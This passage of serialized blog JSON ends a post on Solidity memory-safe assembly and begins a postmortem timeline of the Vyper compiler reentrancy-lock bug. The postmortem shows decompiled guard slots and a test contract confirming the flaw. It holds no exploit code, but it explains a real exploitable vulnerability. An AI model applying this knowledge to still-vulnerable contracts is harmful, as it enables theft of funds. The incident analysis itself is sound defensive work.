128)\n",[32500],{"type":21,"tag":78,"props":32501,"children":32502},{"__ignoreMap":7},[32503,32518],{"type":21,"tag":153,"props":32504,"children":32505},{"class":155,"line":156},[32506,32510,32514],{"type":21,"tag":153,"props":32507,"children":32508},{"style":3050},[32509],{"type":26,"value":32090},{"type":21,"tag":153,"props":32511,"children":32512},{"style":170},[32513],{"type":26,"value":32095},{"type":21,"tag":153,"props":32515,"children":32516},{"style":3050},[32517],{"type":26,"value":32100},{"type":21,"tag":153,"props":32519,"children":32520},{"class":155,"line":166},[32521,32526,32530,32534,32538,32542],{"type":21,"tag":153,"props":32522,"children":32523},{"style":181},[32524],{"type":26,"value":32525},"    mstore",{"type":21,"tag":153,"props":32527,"children":32528},{"style":160},[32529],{"type":26,"value":189},{"type":21,"tag":153,"props":32531,"children":32532},{"style":300},[32533],{"type":26,"value":32117},{"type":21,"tag":153,"props":32535,"children":32536},{"style":160},[32537],{"type":26,"value":1670},{"type":21,"tag":153,"props":32539,"children":32540},{"style":300},[32541],{"type":26,"value":3931},{"type":21,"tag":153,"props":32543,"children":32544},{"style":160},[32545],{"type":26,"value":5909},{"type":21,"tag":22,"props":32547,"children":32548},{},[32549,32551,32556,32558,32563],{"type":26,"value":32550},"Semantically, the absence of ",{"type":21,"tag":78,"props":32552,"children":32554},{"className":32553},[],[32555],{"type":26,"value":32065},{"type":26,"value":32557}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":21,"tag":78,"props":32559,"children":32561},{"className":32560},[],[32562],{"type":26,"value":32065},{"type":26,"value":32564}," invariant.",{"type":21,"tag":5689,"props":32566,"children":32567},{},[32568],{"type":21,"tag":22,"props":32569,"children":32570},{},[32571,32572,32577,32578,32583,32584,32589],{"type":26,"value":32159},{"type":21,"tag":78,"props":32573,"children":32575},{"className":32574},[],[32576],{"type":26,"value":32165},{"type":26,"value":32167},{"type":21,"tag":78,"props":32579,"children":32581},{"className":32580},[],[32582],{"type":26,"value":32173},{"type":26,"value":32175},{"type":21,"tag":78,"props":32585,"children":32587},{"className":32586},[],[32588],{"type":26,"value":16658},{"type":26,"value":355},{"type":21,"tag":22,"props":32591,"children":32592},{},[32593],{"type":26,"value":32594},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":21,"tag":66,"props":32596,"children":32598},{"id":32597},"undefined-behavior",[32599],{"type":26,"value":32600},"Undefined Behavior",{"type":21,"tag":22,"props":32602,"children":32603},{},[32604,32606,32611,32613,32618,32620,32626],{"type":26,"value":32605},"How strict is memory safety? When it comes to ",{"type":21,"tag":78,"props":32607,"children":32609},{"className":32608},[],[32610],{"type":26,"value":32065},{"type":26,"value":32612},", only touching memory after 0x80 seems to matter. Is ",{"type":21,"tag":78,"props":32614,"children":32616},{"className":32615},[],[32617],{"type":26,"value":31724},{"type":26,"value":32619}," annotated assembly that touches memory at ",{"type":21,"tag":78,"props":32621,"children":32623},{"className":32622},[],[32624],{"type":26,"value":32625},"[0x40, 0x7f]",{"type":26,"value":32627}," really safe?",{"type":21,"tag":22,"props":32629,"children":32630},{},[32631,32632,32639,32641,32646],{"type":26,"value":19311},{"type":21,"tag":29,"props":32633,"children":32636},{"href":32634,"rel":32635},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[33],[32637],{"type":26,"value":32638},"Solidity documentation",{"type":26,"value":32640}," mentions ",{"type":21,"tag":5302,"props":32642,"children":32643},{},[32644],{"type":26,"value":32645},"undefined behavior",{"type":26,"value":32647}," three times.",{"type":21,"tag":126,"props":32649,"children":32650},{},[32651,32656,32671],{"type":21,"tag":91,"props":32652,"children":32653},{},[32654],{"type":26,"value":32655},"The existence of a dangling reference",{"type":21,"tag":91,"props":32657,"children":32658},{},[32659,32661],{"type":26,"value":32660},"Using verbatim improperly",{"type":21,"tag":18171,"props":32662,"children":32663},{},[32664],{"type":21,"tag":29,"props":32665,"children":32669},{"href":32666,"ariaDescribedBy":32667,"dataFootnoteRef":7,"id":32668},"#user-content-fn-2",[18178],"user-content-fnref-2",[32670],{"type":26,"value":5873},{"type":21,"tag":91,"props":32672,"children":32673},{},[32674],{"type":26,"value":32675},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":21,"tag":22,"props":32677,"children":32678},{},[32679],{"type":26,"value":32680},"Why does this matter?",{"type":21,"tag":22,"props":32682,"children":32683},{},[32684,32686,32693,32695,32702],{"type":26,"value":32685},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":21,"tag":29,"props":32687,"children":32690},{"href":32688,"rel":32689},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[33],[32691],{"type":26,"value":32692},"signed integer overflow is undefined",{"type":26,"value":32694},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":21,"tag":29,"props":32696,"children":32699},{"href":32697,"rel":32698},"https://blog.regehr.org/archives/1307",[33],[32700],{"type":26,"value":32701},"years down the line",{"type":26,"value":355},{"type":21,"tag":22,"props":32704,"children":32705},{},[32706,32708,32715,32716,32721],{"type":26,"value":32707},"Going back to Solidity, the specification makes ",{"type":21,"tag":29,"props":32709,"children":32712},{"href":32710,"rel":32711},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[33],[32713],{"type":26,"value":32714},"it unambiguously clear",{"type":26,"value":21229},{"type":21,"tag":5302,"props":32717,"children":32718},{},[32719],{"type":26,"value":32720},"Thou shalt not modify the zero slot",{"type":26,"value":355},{"type":21,"tag":5689,"props":32723,"children":32724},{},[32725],{"type":21,"tag":22,"props":32726,"children":32727},{},[32728],{"type":26,"value":32729},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":21,"tag":22,"props":32731,"children":32732},{},[32733,32735,32740],{"type":26,"value":32734},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":21,"tag":5302,"props":32736,"children":32737},{},[32738],{"type":26,"value":32739},"in Solidity",{"type":26,"value":355},{"type":21,"tag":22,"props":32742,"children":32743},{},[32744],{"type":26,"value":32745},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":21,"tag":126,"props":32747,"children":32748},{},[32749],{"type":21,"tag":91,"props":32750,"children":32751},{},[32752,32754,32761],{"type":26,"value":32753},"It very clearly ",{"type":21,"tag":29,"props":32755,"children":32758},{"href":32756,"rel":32757},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[33],[32759],{"type":26,"value":32760},"holds true today",{"type":26,"value":355},{"type":21,"tag":143,"props":32763,"children":32765},{"className":31805,"code":32764,"language":31807,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[32766],{"type":21,"tag":78,"props":32767,"children":32768},{"__ignoreMap":7},[32769,32809,32816,32829,32901,32922,32973,32980],{"type":21,"tag":153,"props":32770,"children":32771},{"class":155,"line":156},[32772,32776,32781,32786,32790,32795,32800,32805],{"type":21,"tag":153,"props":32773,"children":32774},{"style":170},[32775],{"type":26,"value":32380},{"type":21,"tag":153,"props":32777,"children":32778},{"style":160},[32779],{"type":26,"value":32780}," IRGeneratorForStatements::",{"type":21,"tag":153,"props":32782,"children":32783},{"style":181},[32784],{"type":26,"value":32785},"visit",{"type":21,"tag":153,"props":32787,"children":32788},{"style":160},[32789],{"type":26,"value":189},{"type":21,"tag":153,"props":32791,"children":32792},{"style":214},[32793],{"type":26,"value":32794},"InlineAssembly",{"type":21,"tag":153,"props":32796,"children":32797},{"style":170},[32798],{"type":26,"value":32799}," const&",{"type":21,"tag":153,"props":32801,"children":32802},{"style":192},[32803],{"type":26,"value":32804}," _inlineAsm",{"type":21,"tag":153,"props":32806,"children":32807},{"style":160},[32808],{"type":26,"value":5909},{"type":21,"tag":153,"props":32810,"children":32811},{"class":155,"line":166},[32812],{"type":21,"tag":153,"props":32813,"children":32814},{"style":160},[32815],{"type":26,"value":13601},{"type":21,"tag":153,"props":32817,"children":32818},{"class":155,"line":225},[32819,32824],{"type":21,"tag":153,"props":32820,"children":32821},{"style":181},[32822],{"type":26,"value":32823},"    setLocation",{"type":21,"tag":153,"props":32825,"children":32826},{"style":160},[32827],{"type":26,"value":32828},"(_inlineAsm);\n",{"type":21,"tag":153,"props":32830,"children":32831},{"class":155,"line":239},[32832,32836,32840,32844,32849,32853,32858,32863,32868,32872,32876,32880,32884,32888,32892,32897],{"type":21,"tag":153,"props":32833,"children":32834},{"style":1751},[32835],{"type":26,"value":2434},{"type":21,"tag":153,"props":32837,"children":32838},{"style":160},[32839],{"type":26,"value":5820},{"type":21,"tag":153,"props":32841,"children":32842},{"style":198},[32843],{"type":26,"value":313},{"type":21,"tag":153,"props":32845,"children":32846},{"style":192},[32847],{"type":26,"value":32848},"_inlineAsm",{"type":21,"tag":153,"props":32850,"children":32851},{"style":160},[32852],{"type":26,"value":355},{"type":21,"tag":153,"props":32854,"children":32855},{"style":181},[32856],{"type":26,"value":32857},"annotation",{"type":21,"tag":153,"props":32859,"children":32860},{"style":160},[32861],{"type":26,"value":32862},"().",{"type":21,"tag":153,"props":32864,"children":32865},{"style":192},[32866],{"type":26,"value":32867},"hasMemoryEffects",{"type":21,"tag":153,"props":32869,"children":32870},{"style":198},[32871],{"type":26,"value":16893},{"type":21,"tag":153,"props":32873,"children":32874},{"style":198},[32875],{"type":26,"value":15581},{"type":21,"tag":153,"props":32877,"children":32878},{"style":192},[32879],{"type":26,"value":32848},{"type":21,"tag":153,"props":32881,"children":32882},{"style":160},[32883],{"type":26,"value":355},{"type":21,"tag":153,"props":32885,"children":32886},{"style":181},[32887],{"type":26,"value":32857},{"type":21,"tag":153,"props":32889,"children":32890},{"style":160},[32891],{"type":26,"value":32862},{"type":21,"tag":153,"props":32893,"children":32894},{"style":192},[32895],{"type":26,"value":32896},"markedMemorySafe",{"type":21,"tag":153,"props":32898,"children":32899},{"style":160},[32900],{"type":26,"value":5909},{"type":21,"tag":153,"props":32902,"children":32903},{"class":155,"line":382},[32904,32909,32913,32918],{"type":21,"tag":153,"props":32905,"children":32906},{"style":192},[32907],{"type":26,"value":32908},"        m_context",{"type":21,"tag":153,"props":32910,"children":32911},{"style":160},[32912],{"type":26,"value":355},{"type":21,"tag":153,"props":32914,"children":32915},{"style":181},[32916],{"type":26,"value":32917},"setMemoryUnsafeInlineAssemblySeen",{"type":21,"tag":153,"props":32919,"children":32920},{"style":160},[32921],{"type":26,"value":839},{"type":21,"tag":153,"props":32923,"children":32924},{"class":155,"line":501},[32925,32930,32934,32938,32943,32948,32952,32956,32960,32964,32969],{"type":21,"tag":153,"props":32926,"children":32927},{"style":160},[32928],{"type":26,"value":32929},"    CopyTranslate bodyCopier{",{"type":21,"tag":153,"props":32931,"children":32932},{"style":192},[32933],{"type":26,"value":32848},{"type":21,"tag":153,"props":32935,"children":32936},{"style":160},[32937],{"type":26,"value":355},{"type":21,"tag":153,"props":32939,"children":32940},{"style":181},[32941],{"type":26,"value":32942},"dialect",{"type":21,"tag":153,"props":32944,"children":32945},{"style":160},[32946],{"type":26,"value":32947},"(), m_context, ",{"type":21,"tag":153,"props":32949,"children":32950},{"style":192},[32951],{"type":26,"value":32848},{"type":21,"tag":153,"props":32953,"children":32954},{"style":160},[32955],{"type":26,"value":355},{"type":21,"tag":153,"props":32957,"children":32958},{"style":181},[32959],{"type":26,"value":32857},{"type":21,"tag":153,"props":32961,"children":32962},{"style":160},[32963],{"type":26,"value":32862},{"type":21,"tag":153,"props":32965,"children":32966},{"style":192},[32967],{"type":26,"value":32968},"externalReferences",{"type":21,"tag":153,"props":32970,"children":32971},{"style":160},[32972],{"type":26,"value":19275},{"type":21,"tag":153,"props":32974,"children":32975},{"class":155,"line":533},[32976],{"type":21,"tag":153,"props":32977,"children":32978},{"emptyLinePlaceholder":16},[32979],{"type":26,"value":759},{"type":21,"tag":153,"props":32981,"children":32982},{"class":155,"line":542},[32983,32988,32992,32997,33001,33005,33009,33014],{"type":21,"tag":153,"props":32984,"children":32985},{"style":160},[32986],{"type":26,"value":32987},"    yul::Statement modified ",{"type":21,"tag":153,"props":32989,"children":32990},{"style":198},[32991],{"type":26,"value":2367},{"type":21,"tag":153,"props":32993,"children":32994},{"style":181},[32995],{"type":26,"value":32996}," bodyCopier",{"type":21,"tag":153,"props":32998,"children":32999},{"style":160},[33000],{"type":26,"value":189},{"type":21,"tag":153,"props":33002,"children":33003},{"style":192},[33004],{"type":26,"value":32848},{"type":21,"tag":153,"props":33006,"children":33007},{"style":160},[33008],{"type":26,"value":355},{"type":21,"tag":153,"props":33010,"children":33011},{"style":181},[33012],{"type":26,"value":33013},"operations",{"type":21,"tag":153,"props":33015,"children":33016},{"style":160},[33017],{"type":26,"value":33018},"());`\n",{"type":21,"tag":126,"props":33020,"children":33021},{"start":166},[33022],{"type":21,"tag":91,"props":33023,"children":33024},{},[33025],{"type":26,"value":33026},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":21,"tag":22,"props":33028,"children":33029},{},[33030],{"type":26,"value":33031},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":21,"tag":66,"props":33033,"children":33034},{"id":8040},[33035],{"type":26,"value":8043},{"type":21,"tag":22,"props":33037,"children":33038},{},[33039],{"type":26,"value":33040},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":21,"tag":22,"props":33042,"children":33043},{},[33044],{"type":26,"value":33045},"It's a promise between YUL generation and optimization.",{"type":21,"tag":21119,"props":33047,"children":33049},{"className":33048,"dataFootnotes":7},[21122],[33050,33055],{"type":21,"tag":66,"props":33051,"children":33053},{"className":33052,"id":18178},[21127],[33054],{"type":26,"value":21130},{"type":21,"tag":126,"props":33056,"children":33057},{},[33058,33092],{"type":21,"tag":91,"props":33059,"children":33061},{"id":33060},"user-content-fn-1",[33062,33064,33069,33071,33077,33079,33084,33086],{"type":26,"value":33063},"As an interesting aside, ",{"type":21,"tag":78,"props":33065,"children":33067},{"className":33066},[],[33068],{"type":26,"value":32065},{"type":26,"value":33070}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":21,"tag":78,"props":33072,"children":33074},{"className":33073},[],[33075],{"type":26,"value":33076},"memory-unsafe",{"type":26,"value":33078}," code can ",{"type":21,"tag":5302,"props":33080,"children":33081},{},[33082],{"type":26,"value":33083},"decrease",{"type":26,"value":33085}," gas consumption, especially in the YUL header. ",{"type":21,"tag":29,"props":33087,"children":33090},{"href":33088,"ariaLabel":21233,"className":33089,"dataFootnoteBackref":7},"#user-content-fnref-1",[21235],[33091],{"type":26,"value":21238},{"type":21,"tag":91,"props":33093,"children":33095},{"id":33094},"user-content-fn-2",[33096,33098,33103,33105],{"type":26,"value":33097},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":21,"tag":5302,"props":33099,"children":33100},{},[33101],{"type":26,"value":33102},"guarantee",{"type":26,"value":33104}," behavior with opaque bytes. ",{"type":21,"tag":29,"props":33106,"children":33109},{"href":33107,"ariaLabel":21253,"className":33108,"dataFootnoteBackref":7},"#user-content-fnref-2",[21235],[33110],{"type":26,"value":21238},{"type":21,"tag":5603,"props":33112,"children":33113},{},[33114],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":33116},[33117,33118,33119,33120,33121,33122,33123],{"id":31710,"depth":166,"text":31713},{"id":31764,"depth":166,"text":31767},{"id":32027,"depth":166,"text":32030},{"id":31759,"depth":166,"text":32251},{"id":32597,"depth":166,"text":32600},{"id":8040,"depth":166,"text":8043},{"id":18178,"depth":166,"text":21130},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":33128,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":33129,"description":33130,"author":12,"image":33131,"date":33133,"isFeatured":16,"onBlogPage":16,"tags":33134,"body":33136,"_type":5619,"_id":33887,"_source":5621,"_file":33888,"_stem":33889,"_extension":5624},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":33132,"height":16340,"width":16340},"/posts/vyper-timeline/header.jpg","2023-08-01",[33135,31705],"vyper",{"type":18,"children":33137,"toc":33878},[33138,33143,33148,33153,33159,33164,33182,33192,33197,33205,33215,33234,33314,33324,33484,33489,33494,33504,33511,33516,33521,33535,33540,33557,33574,33593,33603,33616,33621,33634,33639,33644,33654,33681,33691,33721,33727,33736,33742,33747,33752,33757,33763,33768,33782,33787,33792,33797,33803,33808,33821,33847,33852,33874],{"type":21,"tag":22,"props":33139,"children":33140},{},[33141],{"type":26,"value":33142},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":21,"tag":22,"props":33144,"children":33145},{},[33146],{"type":26,"value":33147},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":21,"tag":22,"props":33149,"children":33150},{},[33151],{"type":26,"value":33152},"Here's how it all happened.",{"type":21,"tag":66,"props":33154,"children":33156},{"id":33155},"timeline",[33157],{"type":26,"value":33158},"Timeline",{"type":21,"tag":22,"props":33160,"children":33161},{},[33162],{"type":26,"value":33163},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":21,"tag":22,"props":33165,"children":33166},{},[33167,33172,33174,33181],{"type":21,"tag":8055,"props":33168,"children":33169},{},[33170],{"type":26,"value":33171},"13:10 UTC",{"type":26,"value":33173}," pETH/ETH was ",{"type":21,"tag":29,"props":33175,"children":33178},{"href":33176,"rel":33177},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[33],[33179],{"type":26,"value":33180},"drained of $11M",{"type":26,"value":355},{"type":21,"tag":22,"props":33183,"children":33184},{},[33185,33190],{"type":21,"tag":8055,"props":33186,"children":33187},{},[33188],{"type":26,"value":33189},"13:19 UTC",{"type":26,"value":33191}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":21,"tag":22,"props":33193,"children":33194},{},[33195],{"type":26,"value":33196},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":21,"tag":5689,"props":33198,"children":33199},{},[33200],{"type":21,"tag":22,"props":33201,"children":33202},{},[33203],{"type":26,"value":33204},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":21,"tag":22,"props":33206,"children":33207},{},[33208,33213],{"type":21,"tag":8055,"props":33209,"children":33210},{},[33211],{"type":26,"value":33212},"14:01 UTC",{"type":26,"value":33214}," A warroom was formed around this comment.",{"type":21,"tag":22,"props":33216,"children":33217},{},[33218,33223,33225,33232],{"type":21,"tag":8055,"props":33219,"children":33220},{},[33221],{"type":26,"value":33222},"14:07 UTC",{"type":26,"value":33224}," We decompiled the JPEGd contract ",{"type":21,"tag":29,"props":33226,"children":33229},{"href":33227,"rel":33228},"https://ethervm.io/decompile",[33],[33230],{"type":26,"value":33231},"with our favorite decompiler",{"type":26,"value":33233}," and noted a difference in reentrancy guard storage slot.",{"type":21,"tag":143,"props":33235,"children":33239},{"className":33236,"code":33237,"language":33238,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[33240],{"type":21,"tag":78,"props":33241,"children":33242},{"__ignoreMap":7},[33243,33251,33259,33267,33275,33282,33290,33298,33306],{"type":21,"tag":153,"props":33244,"children":33245},{"class":155,"line":156},[33246],{"type":21,"tag":153,"props":33247,"children":33248},{},[33249],{"type":26,"value":33250},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":21,"tag":153,"props":33252,"children":33253},{"class":155,"line":166},[33254],{"type":21,"tag":153,"props":33255,"children":33256},{},[33257],{"type":26,"value":33258},"label_0057:\n",{"type":21,"tag":153,"props":33260,"children":33261},{"class":155,"line":225},[33262],{"type":21,"tag":153,"props":33263,"children":33264},{},[33265],{"type":26,"value":33266},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":21,"tag":153,"props":33268,"children":33269},{"class":155,"line":239},[33270],{"type":21,"tag":153,"props":33271,"children":33272},{},[33273],{"type":26,"value":33274},"    storage[0x00] = 0x01;\n",{"type":21,"tag":153,"props":33276,"children":33277},{"class":155,"line":382},[33278],{"type":21,"tag":153,"props":33279,"children":33280},{"emptyLinePlaceholder":16},[33281],{"type":26,"value":759},{"type":21,"tag":153,"props":33283,"children":33284},{"class":155,"line":501},[33285],{"type":21,"tag":153,"props":33286,"children":33287},{},[33288],{"type":26,"value":33289},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":21,"tag":153,"props":33291,"children":33292},{"class":155,"line":533},[33293],{"type":21,"tag":153,"props":33294,"children":33295},{},[33296],{"type":26,"value":33297},"label_1AF3:\n",{"type":21,"tag":153,"props":33299,"children":33300},{"class":155,"line":542},[33301],{"type":21,"tag":153,"props":33302,"children":33303},{},[33304],{"type":26,"value":33305},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":21,"tag":153,"props":33307,"children":33308},{"class":155,"line":762},[33309],{"type":21,"tag":153,"props":33310,"children":33311},{},[33312],{"type":26,"value":33313},"    storage[0x02] = 0x01;\n",{"type":21,"tag":22,"props":33315,"children":33316},{},[33317,33322],{"type":21,"tag":8055,"props":33318,"children":33319},{},[33320],{"type":26,"value":33321},"14:27 UTC",{"type":26,"value":33323}," We confirmed this behavior with a simple local test contract.",{"type":21,"tag":143,"props":33325,"children":33327},{"className":22158,"code":33326,"language":22157,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[33328],{"type":21,"tag":78,"props":33329,"children":33330},{"__ignoreMap":7},[33331,33339,33360,33395,33407,33414,33421,33440,33472],{"type":21,"tag":153,"props":33332,"children":33333},{"class":155,"line":156},[33334],{"type":21,"tag":153,"props":33335,"children":33336},{"style":181},[33337],{"type":26,"value":33338},"@external\n",{"type":21,"tag":153,"props":33340,"children":33341},{"class":155,"line":166},[33342,33347,33351,33356],{"type":21,"tag":153,"props":33343,"children":33344},{"style":181},[33345],{"type":26,"value":33346},"@nonreentrant",{"type":21,"tag":153,"props":33348,"children":33349},{"style":160},[33350],{"type":26,"value":189},{"type":21,"tag":153,"props":33352,"children":33353},{"style":671},[33354],{"type":26,"value":33355},"\"lock\"",{"type":21,"tag":153,"props":33357,"children":33358},{"style":160},[33359],{"type":26,"value":5909},{"type":21,"tag":153,"props":33361,"children":33362},{"class":155,"line":225},[33363,33368,33373,33377,33382,33387,33391],{"type":21,"tag":153,"props":33364,"children":33365},{"style":170},[33366],{"type":26,"value":33367},"def",{"type":21,"tag":153,"props":33369,"children":33370},{"style":181},[33371],{"type":26,"value":33372}," test",{"type":21,"tag":153,"props":33374,"children":33375},{"style":160},[33376],{"type":26,"value":189},{"type":21,"tag":153,"props":33378,"children":33379},{"style":192},[33380],{"type":26,"value":33381},"addr",{"type":21,"tag":153,"props":33383,"children":33384},{"style":160},[33385],{"type":26,"value":33386},": address) -> ",{"type":21,"tag":153,"props":33388,"children":33389},{"style":214},[33390],{"type":26,"value":32380},{"type":21,"tag":153,"props":33392,"children":33393},{"style":160},[33394],{"type":26,"value":8299},{"type":21,"tag":153,"props":33396,"children":33397},{"class":155,"line":239},[33398,33402],{"type":21,"tag":153,"props":33399,"children":33400},{"style":1751},[33401],{"type":26,"value":19687},{"type":21,"tag":153,"props":33403,"children":33404},{"style":170},[33405],{"type":26,"value":33406}," True\n",{"type":21,"tag":153,"props":33408,"children":33409},{"class":155,"line":382},[33410],{"type":21,"tag":153,"props":33411,"children":33412},{"emptyLinePlaceholder":16},[33413],{"type":26,"value":759},{"type":21,"tag":153,"props":33415,"children":33416},{"class":155,"line":501},[33417],{"type":21,"tag":153,"props":33418,"children":33419},{"style":181},[33420],{"type":26,"value":33338},{"type":21,"tag":153,"props":33422,"children":33423},{"class":155,"line":533},[33424,33428,33432,33436],{"type":21,"tag":153,"props":33425,"children":33426},{"style":181},[33427],{"type":26,"value":33346},{"type":21,"tag":153,"props":33429,"children":33430},{"style":160},[33431],{"type":26,"value":189},{"type":21,"tag":153,"props":33433,"children":33434},{"style":671},[33435],{"type":26,"value":33355},{"type":21,"tag":153,"props":33437,"children":33438},{"style":160},[33439],{"type":26,"value":5909},{"type":21,"tag":153,"props":33441,"children":33442},{"class":155,"line":542},[33443,33447,33452,33456,33460,33464,33468],{"type":21,"tag":153,"props":33444,"children":33445},{"style":170},[33446],{"type":26,"value":33367},{"type":21,"tag":153,"props":33448,"children":33449},{"style":181},[33450],{"type":26,"value":33451}," test2",{"type":21,"tag":153,"props":33453,"children":33454},{"style":160},[33455],{"type":26,"value":189},{"type":21,"tag":153,"props":33457,"children":33458},{"style":192},[33459],{"type":26,"value":33381},{"type":21,"tag":153,"props":33461,"children":33462},{"style":160},[33463],{"type":26,"value":33386},{"type":21,"tag":153,"props":33465,"children":33466},{"style":214},[33467],{"type":26,"value":32380},{"type":21,"tag":153,"props":33469,"children":33470},{"style":160},[33471],{"type":26,"value":8299},{"type":21,"tag":153,"props":33473,"children":33474},{"class":155,"line":762},[33475,33479],{"type":21,"tag":153,"props":33476,"children":33477},{"style":1751},[33478],{"type":26,"value":19687},{"type":21,"tag":153,"props":33480,"children":33481},{"style":170},[33482],{"type":26,"value":33483}," False\n",{"type":21,"tag":22,"props":33485,"children":33486},{},[33487],{"type":26,"value":33488},"This was not just another reentrancy bug.",{"type":21,"tag":22,"props":33490,"children":33491},{},[33492],{"type":26,"value":33493},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":21,"tag":22,"props":33495,"children":33496},{},[33497,33502],{"type":21,"tag":8055,"props":33498,"children":33499},{},[33500],{"type":26,"value":33501},"14:37 UTC",{"type":26,"value":33503}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":21,"tag":22,"props":33505,"children":33506},{},[33507],{"type":21,"tag":3644,"props":33508,"children":33510},{"alt":7,"src":33509},"/posts/vyper-timeline/sstore.png",[],{"type":21,"tag":22,"props":33512,"children":33513},{},[33514],{"type":26,"value":33515},"It was a race with the hackers.",{"type":21,"tag":22,"props":33517,"children":33518},{},[33519],{"type":26,"value":33520},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":21,"tag":5689,"props":33522,"children":33523},{},[33524],{"type":21,"tag":22,"props":33525,"children":33526},{},[33527,33529],{"type":26,"value":33528},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":21,"tag":29,"props":33530,"children":33533},{"href":33531,"rel":33532},"https://twitter.com/hexagate_/status/1685677801813217280",[33],[33534],{"type":26,"value":33531},{"type":21,"tag":22,"props":33536,"children":33537},{},[33538],{"type":26,"value":33539},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":21,"tag":22,"props":33541,"children":33542},{},[33543,33548,33549,33556],{"type":21,"tag":8055,"props":33544,"children":33545},{},[33546],{"type":26,"value":33547},"14:50 UTC",{"type":26,"value":9187},{"type":21,"tag":29,"props":33550,"children":33553},{"href":33551,"rel":33552},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[33],[33554],{"type":26,"value":33555},"msETH/ETH was drained",{"type":26,"value":355},{"type":21,"tag":22,"props":33558,"children":33559},{},[33560,33565,33566,33573],{"type":21,"tag":8055,"props":33561,"children":33562},{},[33563],{"type":26,"value":33564},"15:34 UTC",{"type":26,"value":9187},{"type":21,"tag":29,"props":33567,"children":33570},{"href":33568,"rel":33569},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[33],[33571],{"type":26,"value":33572},"alETH/ETH was drained",{"type":26,"value":355},{"type":21,"tag":22,"props":33575,"children":33576},{},[33577,33582,33584,33591],{"type":21,"tag":8055,"props":33578,"children":33579},{},[33580],{"type":26,"value":33581},"15:43 UTC",{"type":26,"value":33583}," We identified that 